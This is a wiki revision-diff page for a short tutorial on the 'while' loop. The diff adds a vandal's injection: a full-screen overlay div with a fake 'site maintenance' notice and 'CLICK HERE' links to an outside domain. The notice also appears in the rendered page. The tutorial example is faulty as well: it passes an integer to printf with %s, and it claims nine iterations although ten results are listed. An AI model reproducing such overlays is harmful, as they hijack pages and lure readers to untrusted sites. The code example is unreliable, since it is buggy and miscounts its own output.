Difference between revisions of "While"

From SDU
Jump to: navigation, search
(reverting vandalism)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://uvetysudema.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://uvetysudema.co.cc CLICK HERE]=
 +
----
 +
</div>
 
__NOTOC__
 
__NOTOC__
 
[[Category:r6]]
 
[[Category:r6]]
Line 7: Line 15:
  
 
== Overview ==
 
== Overview ==
A "while" loop performs a set of commands for each iteration of the loop.
+
A &quot;while&quot; loop performs a set of commands for each iteration of the loop.
  
 
== Usage ==
 
== Usage ==
Line 17: Line 25:
 
     i = 0;     
 
     i = 0;     
 
      
 
      
     while( i < 10 ) {
+
     while( i &lt; 10 ) {
 
          
 
          
         printf("This is a test. Loop %s\n", i) ;
+
         printf(&quot;This is a test. Loop %s\n&quot;, i) ;
 
          
 
          
 
         i = i + 1;
 
         i = i + 1;
Line 25: Line 33:
 
     } ;
 
     } ;
  
This example will iterate the loop, printing the "This is a test. Loop n" message 9 times.
+
This example will iterate the loop, printing the &quot;This is a test. Loop n&quot; message 9 times.
  
 
== Results ==
 
== Results ==
This is a test. Loop 0<BR>
+
This is a test. Loop 0&lt;BR&gt;
This is a test. Loop 1<BR>
+
This is a test. Loop 1&lt;BR&gt;
This is a test. Loop 2<BR>
+
This is a test. Loop 2&lt;BR&gt;
This is a test. Loop 3<BR>
+
This is a test. Loop 3&lt;BR&gt;
This is a test. Loop 4<BR>
+
This is a test. Loop 4&lt;BR&gt;
This is a test. Loop 5<BR>
+
This is a test. Loop 5&lt;BR&gt;
This is a test. Loop 6<BR>
+
This is a test. Loop 6&lt;BR&gt;
This is a test. Loop 7<BR>
+
This is a test. Loop 7&lt;BR&gt;
This is a test. Loop 8<BR>
+
This is a test. Loop 8&lt;BR&gt;
This is a test. Loop 9<BR>
+
This is a test. Loop 9&lt;BR&gt;

Revision as of 03:31, 24 November 2010



Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page


CLICK HERE


To make corrections or additions to this article, select the edit tab above.
To discuss or ask questions about this article, select the discussion tab above.

Overview

A "while" loop performs a set of commands for each iteration of the loop.

Usage

while (condition)

Examples

   int i;
   
   i = 0;    
   
   while( i < 10 ) {
       
       printf("This is a test. Loop %s\n", i) ;
       
       i = i + 1;
       
   } ;

This example will iterate the loop, printing the "This is a test. Loop n" message 9 times.

Results

This is a test. Loop 0<BR> This is a test. Loop 1<BR> This is a test. Loop 2<BR> This is a test. Loop 3<BR> This is a test. Loop 4<BR> This is a test. Loop 5<BR> This is a test. Loop 6<BR> This is a test. Loop 7<BR> This is a test. Loop 8<BR> This is a test. Loop 9<BR>